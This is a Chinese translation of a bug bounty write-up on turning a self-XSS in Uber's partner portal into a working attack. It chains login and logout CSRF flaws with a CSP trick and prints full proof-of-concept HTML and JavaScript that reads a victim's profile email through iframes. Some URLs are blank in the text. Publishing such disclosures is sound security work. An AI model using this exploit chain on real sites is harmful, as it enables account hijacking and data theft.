优步漏洞悬赏:将self-xss变成可用的xss

在优步的partner入口,也就是司机们可以登录然后更新他们的细节的界面,我找到了一个非常简单经典的XSS:把个人信息的一项改为:

<script>alert(document.domain);</script>

会导致代码被执行,然后一个alert会弹出。


这个点在登录后用了两分钟就找到了,之后才是有意思的地方。

Self-XSS

有能力在其他界面的里执行额外的任意js代码被称作XSS(我觉得其实看我文章的99%都应该知道)。正常情况下,我们更希望针对其他用户来做XSS,这样才能拿到cookie,提交XHR请求之类的,如果你不能对其他用户做XSS,例如,这个代码只在你自己的账户里边执行了,这就叫self-xss。

现在我们找到的这个就好像是这种情况。你自己的个人信息界面里的地址部分只显示给你自己了(除非有其他的内部优步工具也显示了这个地址,但那种情况就不是我们正常考虑的了),我们也不能更改其他用户的地址来强制对他们进行XSS。

我其实一直不是很想提交有潜在的漏洞(在这个页面上的XSS还是挺酷的),所以我们来想想办法把self-xss中self的部分去了。

优步OAuth登录工作流程

优步用到的OAuth工作流程还是比较典型的:

为了防止在上面的截图里看的不够清楚,OAuth的回调:

/oauth/callback?code=...

里没有使用到推荐的state参数,这就导致了一个在登录功能里的可能不算很重要的CSRF漏洞。

另外,登出的功能也存在一个完全不算问题的CSRF漏洞。浏览到/logout会摧毁用户的partner.uber.com的session,然后重定向到login.uber.com的登出功能。

由于我们的payload只在账号内有效,我们需要把用户登录到我们的账号,这样就会执行我们的payload然而,把他们登录到我们的账号就会导致他们的session被摧毁,这样就导致这个漏洞的大部分价值也没了(因为没有办法再以他们账号的名义去执行行为),所以让我们来把这三个小问题(self-xss和两个CSRF)链在一起。

(关于OAuth安全的其他内容可以去查看@homakov的指导)

把小漏洞串起来

我们的计划有三个部分:

步骤1:仅登出一个domain

我们首先想要发出一个请求到:

这样我们就可以让他们登录自己的账号。但是问题在于到这个位置的请求会导致一个302重定向到:

https://login.uber.com/logout/

这样就会销毁掉session。我们没办法截断每一个重定向然后drop掉请求,因为是浏览器隐式的去follow的。但是一个我们可以用的trick是通过CSP来定义哪些源是允许加载的(我希望你可以看出来这里我们使用一个本应该在这个情况帮助缓解XSS的特性的讽刺意义。。)

我们把策略设置为仅允许请求到:

partners.uber.com

但是会阻挡:

https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="">

通过违反CSP的错误信息我们可以看到这个方法是可以的

步骤2:登录到我们的账号

这一步相对简单,我们发一个请求到:

https://parners.uber.com/login/

来初始化登录(这一步是必须的,否则应用程序不会接受回调函数),通过CSP trick我们防止了整个工作流被完成,之后我们填入我们自己的code(code可以通过登录进我们自己的账号去获取),这样就会登录进我们的账号了。

由于CSP违反会导致onerror事件handler被触发,我们可以通过这样的方式来跳入下一步:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到login.uber.com的请求,这样目标就会维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<!-- 登出partners.uber.com -->
<img src="" onerror="login();">
<script>
    //Initiate login so that we can redirect them
    // 初始化login,这样我们就可以重定向了
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //Redirect them to login with our code
    // 通过我们的代码重定向到login
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

步骤3:切回我们的账号

这一段是会被包含为XSS payload的代码,存储在我们的账号里。

一旦payload被执行了,我们可以切回我们的账号。
必须在一个iframe里——我们得能够继续跑我们的代码。

// Create the iframe to log the user out of our account and back into theirs
// 创建一个iframe来登出用户的账号,然后登回我们的
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe的内容再次使用了CSP的技巧:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<!-- 设置CSP阻挡到lgoin.uber.com的请求,这样目标维持他们的session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<!-- 将用户从他们的partner账户中登出 -->
<img src="" onerror="redir();">
<script>
    //Log them into partners via their session on login.uber.com
    //通过login.uber.com的session登录到partners
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

最后一部分是创建另外一个iframe,这样我们就可以获取一些数据了:

//Wait a few seconds, then load the profile page, which is now *their* profile
//等几秒钟,然后加载个人信息页面,也就是他们自己的信息
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //Extract their email as PoC
    // 获取他们的邮件作为poc
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

由于我们最后的iframe是和包含我们js的个人信息页同源的位置加载的,以及

X-Frame-Options

被设置为sameorigin
而不是deny,我们可以通过(contentWindow访问其中的内容)

总结

经过这一系列步骤的组合,我们得到了以下的攻击流:

这个bug很有趣,而且证明了一个漏洞可以比原来以为的有更大的影响。

原文链接

https://whitton.io/articles/uber-turning-self-xss-into-good-xss/

源链接

Hacking more

...